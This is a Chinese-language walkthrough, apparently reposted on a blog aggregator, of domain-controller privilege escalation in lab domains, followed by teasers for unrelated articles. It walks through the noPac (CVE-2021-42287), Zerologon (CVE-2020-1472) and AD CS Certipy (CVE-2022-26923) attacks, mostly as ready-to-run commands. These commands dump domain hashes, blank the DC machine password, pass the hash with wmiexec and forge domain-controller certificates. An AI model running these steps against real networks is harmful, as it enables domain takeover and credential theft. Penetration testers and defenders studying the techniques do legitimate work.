横向移动-域控提权

横向移动-域控提权

CVE-2021-42287

由于Active Directory没有对域中计算机和服务器账号进行验证,经过身份验证的攻击者利用该漏洞绕过完全限制,可将域中普通用户权限提升为域管理员权限并执行任意代码。

利用条件

前提条件:一个域内普通账号 影响版本:Windows基本全系列

漏洞复现

图片当前场景如下,目前已经获得了Web Server的主机权限和webadmin这个域成员的账号和密码,来使用CVE-2021-42287漏洞来攻击域控主机 这里我们可以使用nopac脚本来进行利用 在攻击前先将该域名和IP地址绑定在hosts中图片

检测是否存在漏洞

noPac.exe scan -domain god.org -user webadmin -pass admin!@#45

漏洞存在,接下来我们使用域普通用户的TGT,利用漏洞请求TGS申请域控机器账户 cifs服务的ST凭证

图片

noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org --impersonate administrator -dump -use-ldap

生成票据后我们再来查看一下当前电脑上所存在的票据

klist 

图片

发现有一条和域控建立的票据,这里我们直接使用psexec连接即可

PsExec \\owa2010cn-god.god.org cmd

图片

CVE-2020-1472

CVE-2020-1472是一个windows域控中最严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限

首先先获取域控的计算机名

net group "domain controllers" /domain

图片然后使用测试脚本去检测该域控是否存在漏洞

python zerologon_tester.py owa2010cn-god 192.168.3.21

图片

然后使用exp连接DC清空凭证

python cve-2020-1472-exploit.py OWA2010CN-GOG 192.168.3.21

图片

执行后,会将DC的密码置空,然后我们再使用空密码连接将域内的HASH导出出来

secretsdump.exe "god.org/owa2010cn-god$@192.168.3.21" -no-pass

图片

这时我们在使用域控的hash去进行PTH连接,拿到域控权限

wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/admin

图片

CVE-2022-26923

该漏洞允许低权限用户在安装了Active Directory证书服务(AD CS)服务器角色的默认Active Directory环境中将权限提升为域管理员。现在已经很少没有安装AD CS的大中型Active Directory环境,所以该漏洞危害和利用性都较强。

利用条件

前提条件:

  1. 域内普通账号
  2. 域内存在证书服务器

影响版本:win8.1、win10、win11、Windows Server 2012 R2、Windows Server2016、Windows Server2019、Windows Server2022等版本

环境搭建

首先准备一台已搭建域服务的主机,这里选择Windows Server 2012R2版本。因为这个漏洞基于证书服务,所以需要DC中安装Active Directory证书服务。点击添加角色和功能,默认下一步直到下图,选择安装Active Directory证书服务:图片下一步到角色服务中,勾选证书颁发机构、证书颁发机构web注册、证书注册策略Web服务图片点击安装即可图片

安装完成后需要配置Active Directory证书服务,在服务器管理器中单击该选项。图片选择刚刚安装时所勾选的三个服务后默认下一步到CA名称中图片配置CA证书后,下一步到服务器证书图片在服务器证书中,选择证书并稍后为SSL分配,点击下一步图片下一步配置图片查看是否配置成功:在证书颁发机构中查看是否存在证书模板图片该漏洞的利用条件为获得一个域内普通用户权限,所以需要在DC上创建一个用户,之后便会使用这个用户的凭据进行域控提权操作。图片

漏洞利用

获取CA名称

目前我们的已知信息

域控Win 2012
    IP:192.168.45.152
    主机名:DC-2012
域名:tidesec.local
用户:test/Pass123

接下来第一步我们需要获取该域内的CA名称

  1. 任意域内主机查询
 查看是否存在证书驱动器
Get-PSDrive cert | ft -AutoSize

 列出本地机器账户的证书
Get-ChildItem Cert:\LocalMachine\Root

图片

  1. 域控上查询
certutil
certutil -config - -ping

图片图片3. 合理猜测 根据域控主机名和域名进行猜测

域控主机名:DC-2012
域名:tidesec.local
CA名称:tidesec-DC-2012-CA

申请证书

在申请证书前,需要先修改一下我们攻击机的hosts文件,将域名和ip地址对应一下

vim /etc/hosts
192.168.45.152 tidesec.local
192.168.45.152 tidesec-DC-2012-CA
192.168.45.152 DC-2012.tidesec.local

图片这里需要使用到certipy工具,在使用前先进行安装

python3 setup.py install

图片安装后使用我们刚刚所获得的低权限用户、CA名、域控计算机名来生成一个证书

certipy req tidesec.local'test:Pass123'@DC-2012.tidesec.local -ca tidesec-DC-2012-CA -template User

图片申请ceshi用户证书账号成功后,执行命令来验证该证书,获取其NT hash值

certipy auth -pfx test.pfx

图片成功获取到了NT hash,说明测试环境没有问题,接下来需要使用bloodyAD来新建一个机器账号 在新建账号前我们先观察一下,当前域控下的Computers下是没有账号的,图片接下来新建一个

 python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 addComputer test2 'Test12345' 

图片这时再来观察下域控中成功添加了一个test2的机器账户,图片接下来设置其dNSHostName 属性为域控服务器属性

python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 setAttribute 'CN=test2,CN=Computers,DC=tidesec,DC=local' dNSHostName '["DC-2012.tidesec.local"]'

图片图片接下来我们再用刚新建的机器账号test2去申请证书,其实是申请的域控DC$的证书

certipy req 'tidesec.local/test2$:Test12345@192.168.45.152' -template Machine -dc-ip 192.168.45.152 -ca tidesec-DC-2021-CA

图片可以看到此时的证书不是test.pfx,是主机名dc-2012.pfx,颁发的是域控制器的计算机账户证书,。接下来我们使用该证书进行认证,Certipy工具检索到了DC-2012$的NTLM hash。

certipy auth -pfx dc-2012.pfx -dc-ip 192.168.45.152

图片然后我们可以使用impacket工具包中的secretsdump.py脚本来执行DCSync攻击,导出域内用户Hash

python3 secretsdump.py 'tidesec.local/DC-2012$@DC-2012.tidesec.local' -hashes :20d4bd2f70725811f4e39fe77166e00b

图片之后在使用wmiexec.py脚本去获得域控账户的执行权限

python3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

图片

本去获得域控账户的执行权限

python3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/72655.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计算机基础概论

一、计算机的组成 1.计算机组成的五大部件 (1)运算器:也叫算术逻辑单元,完成对数据的各种常规运算,如加减乘除,也包括逻辑运算,位移,比较等。 (2)控制器&a…

计算机网络-物理层(一)物理层的概念与传输媒体

计算机网络-物理层(一)物理层的概念与传输媒体 物理层相关概念 物理层的作用用来解决在各种传输媒体上传输比特0和1的问题,进而为数据链路层提供透明(看不见)传输比特流的服务物理层为数据链路层屏蔽了各种传输媒体的差异,使数据…

图像的镜像变换之c++实现(qt + 不调包)

1.基本原理 1.水平镜像变化 设图像的宽度为width,则水平镜像变化的映射关系如下: 2.垂直镜像变化 设图像的宽度为height,则垂直镜像变化的映射关系如下: 2.代码实现(代码是我以前自学图像处理时写的,代码很…

Kotlin和Java互操作时的可空性

注:文中demo的kt版本是1.7.10 一、kotlin语言中的可空性设计 在Java语言中的NPE(NullPointerException)可以说非常常见,而且诟病已久。 kotlin做为后起之秀,在空指针的问题上进行了升级,即&#xff1…

Linux_5_Shell脚本编程

目录 1 基础1.1 程序组成1.2 程序编程风格1.3 编程语言1.4 编程逻辑处理方式 2 shell 脚本语言的基本结构2.1 shell脚本的用途2.2 shell脚本基本结构2.3 创建shell脚本过程2.4 脚本注释规范2.5 第一个脚本2.6 脚本调试2.7 变量2.7.1 变量2.7.2 变量类型2.7.3 编程语言分类2.7.4…

popen/pclose 函数

函数作用 如果说system在一定程度上是execl的优化版,那么popen就一定程度上是system的优化版,使用popen不仅可以运行代码,还可以获取运行的输出结果(但是system和exec族函数还是非常重要的,也有自己的特定应用场景&am…

python_day19_正则表达式

正则表达式re模块 导包 import res "python java c c python2 python python3"match 从头匹配 res re.match("python", s) res_2 re.match("python2", s) print("res:", res) print(res.span()) print(res.group()) print("…

Docker安装nacos v2.1.1

目录 前言安装nacos安装步骤1:准备1. 安装docker2. 搜索可以使用的镜像。3. 选择合适的redis镜像。3. 也可从docker hub上搜索镜像。 安装步骤2:拉取镜像拉取镜像查看已拉取的镜像 安装步骤3:创建容器创建容器方式1:快速创建容器创…

广州华锐互动:VR3D课程在线教育平台为职业院校提供沉浸式的虚拟现实学习体验

随着科技的飞速发展,虚拟现实(VR)和增强现实(AR)技术已经逐渐渗透到我们生活的各个领域。其中,VR3D课程在线教育平台作为一种新兴的教育方式,正在逐渐改变我们的学习方式和体验。本文将详细介绍VR3D课程在线教育平台的应用前景及特点。 VR3D课…

用对角线去遍历矩阵

原题链接 用对角线遍历矩阵https://leetcode.cn/leetbook/read/array-and-string/cuxq3/ 算法分析 图一 图二 图三 图四 由上述四个图可以总结得出以下八个结论: 结论1:k属于[0,a(max)b(max)]。 结论2:每一层遍历行最多存在min(m,n)个矩…

小程序发布注意事项

1、使用HBuildx的 发布 功能发布小程序,因为编译完的代码目录不是同一个 如果使用 运行 到小程序,最后发布的版本会显示”无法连接本地服务器“ 2、使用unicloud的云服务 uniCloud发行 | uni-app官网 阿里云的unicloud的话,使用request域名…

高效实用小工具之Everything

一,简介 有时候我们电脑文件较多时,想快速找到某个文件不是一件容易的事情,实用windows自带的搜素太耗时,效率不高。今天推荐一个用来搜索电脑文件的小工具——Everything,本文将介绍如何安装以及使用everything&…

分布式监控平台—zabbix

前言一、zabbix概述1.1 什么是zabbix1.2 zabbix的监控原理1.3 zabbix常见五个应用程序1.4 zabbix的监控模式1.5 监控架构1.5.1 C/S(server—client)1.5.2 server—proxy—client1.5.3 master—node—client 二、部署zabbix2.1 部署 zabbix server 端2.2 …

记一次物理机安装centos7遇到的问题

首先制作U盘镜像(之前装windows的大白菜之类的就没用了) 用的这个UltraISO制作U盘镜像 然后从U盘启动开始安装, 问题一 安装时报错 dracut-pre-udev[351]:modprobe :ERROR:could not insert ‘floppy’ dracut-pre-udev[351]:modprobe…

ctfshow-web8

0x00 前言 CTF 加解密合集CTF Web合集 0x01 题目 0x02 Write Up 这道题实际上就是一个单纯的布尔型盲注,只不过是过滤了一些东西,一个是过滤的空格,还有一个是过滤了逗号 那么我们需要做的就是对这两个进行绕过,空格还是用/**…

【网络基础实战之路】实现RIP协议与OSPF协议间路由交流的实战详解

系列文章传送门: 【网络基础实战之路】设计网络划分的实战详解 【网络基础实战之路】一文弄懂TCP的三次握手与四次断开 【网络基础实战之路】基于MGRE多点协议的实战详解 【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解 PS:本要求基于…

Python Opencv实践 - 在图像上绘制图形

import cv2 as cv import numpy as np import matplotlib.pyplot as pltimg cv.imread("../SampleImages/pomeranian.png") print(img.shape)plt.imshow(img[:,:,::-1])#画直线 #cv.line(img,start,end,color,thickness) #参考资料:https://blog.csdn.ne…

词法分析器的设计与实现

1、实验目的及要求 1.1、实验目的 加深对词法分析器的工作过程的理解;加强对词法分析方法的掌握;能够采用一种编程语言实现简单的词法分析程序;能够使用自己编写的分析程序对简单的程序段进行词法分析。 1.2、实验要求 1)对单词…

Windows - UWP - 为UWP应用创建桌面快捷方式

Windows - UWP - 为UWP应用创建桌面快捷方式 前言 这是一个较为简单的方式,不需要过多的命令行。 How 首先Win R -> shell:AppsFolder -> 回车, 这将显示电脑上的已安装应用(Win32 & UWP): 找到想要创建…

38 | 浦发银行股票分析案例

本文将通过一个浦发银行股票分析案例,探讨如何从多个维度对股票进行分析,包括基本面、技术面和市场环境等因素。我们将深入挖掘浦发银行的财务数据、业务模式以及市场定位,以了解其内在价值和潜在风险。同时,我们还将考察技术面的指标,如价格走势、均线形态等,以揭示市场…